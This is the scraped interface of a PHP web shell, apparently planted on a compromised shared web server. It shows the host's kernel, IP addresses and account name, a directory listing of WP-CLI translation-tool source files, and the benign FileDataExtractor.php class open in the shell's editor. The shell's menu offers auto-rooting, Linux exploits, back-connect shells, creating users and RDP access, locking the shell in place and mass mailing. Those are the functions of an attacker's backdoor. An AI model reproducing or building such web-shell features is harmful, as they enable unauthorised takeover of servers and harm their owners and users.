Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
wp-cli /
i18n-command /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
BladeCodeExtractor.php
1.88
KB
-rw-r--r--
BladeGettextExtractor.php
1.4
KB
-rw-r--r--
BlockExtractor.php
914
B
-rw-r--r--
CommandNamespace.php
406
B
-rw-r--r--
FileDataExtractor.php
2.23
KB
-rw-r--r--
IterableCodeExtractor.php
11.24
KB
-rw-r--r--
JedGenerator.php
2.11
KB
-rw-r--r--
JsCodeExtractor.php
1.74
KB
-rw-r--r--
JsFunctionsScanner.php
11.79
KB
-rw-r--r--
JsonSchemaExtractor.php
4.76
KB
-rw-r--r--
MakeJsonCommand.php
12.62
KB
-rw-r--r--
MakeMoCommand.php
3.03
KB
-rw-r--r--
MakePhpCommand.php
2.33
KB
-rw-r--r--
MakePotCommand.php
31.8
KB
-rw-r--r--
MapCodeExtractor.php
1.62
KB
-rw-r--r--
PhpArrayGenerator.php
4.1
KB
-rw-r--r--
PhpCodeExtractor.php
1.9
KB
-rw-r--r--
PhpFunctionsScanner.php
2.52
KB
-rw-r--r--
PotGenerator.php
3.88
KB
-rw-r--r--
UpdatePoCommand.php
2.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FileDataExtractor.php
<?php namespace WP_CLI\I18n; class FileDataExtractor { /** * Retrieves metadata from a file. * * Searches for metadata in the first 8kiB of a file, such as a plugin or theme. * Each piece of metadata must be on its own line. Fields can not span multiple * lines, the value will get cut at the end of the first line. * * If the file data is not within that first 8kiB, then the author should correct * their plugin file and move the data headers to the top. * * @see get_file_data() * * @param string $file Path to the file. * @param array $headers List of headers, in the format array('HeaderKey' => 'Header Name'). * * @return array Array of file headers in `HeaderKey => Header Value` format. */ public static function get_file_data( $file, $headers ) { // We don't need to write to the file, so just open for reading. $fp = fopen( $file, 'rb' ); // Pull only the first 8kiB of the file in. $file_data = fread( $fp, 8192 ); // PHP will close file handle, but we are good citizens. fclose( $fp ); // Make sure we catch CR-only line endings. $file_data = str_replace( "\r", "\n", $file_data ); return static::get_file_data_from_string( $file_data, $headers ); } /** * Retrieves metadata from a string. * * @param string $text String to look for metadata in. * @param array $headers List of headers. * * @return array Array of file headers in `HeaderKey => Header Value` format. */ public static function get_file_data_from_string( $text, $headers ) { foreach ( $headers as $field => $regex ) { if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $text, $match ) && $match[1] ) { $headers[ $field ] = static::_cleanup_header_comment( $match[1] ); } else { $headers[ $field ] = ''; } } return $headers; } /** * Strip close comment and close php tags from file headers used by WP. * * @see _cleanup_header_comment() * * @param string $str Header comment to clean up. * * @return string */ protected static function _cleanup_header_comment( $str ) { // phpcs:ignore PSR2.Methods.MethodDeclaration.Underscore -- Not changing because third-party commands might use/extend. return trim( preg_replace( '/\s*(?:\*\/|\?>).*/', '', $str ) ); } }
Close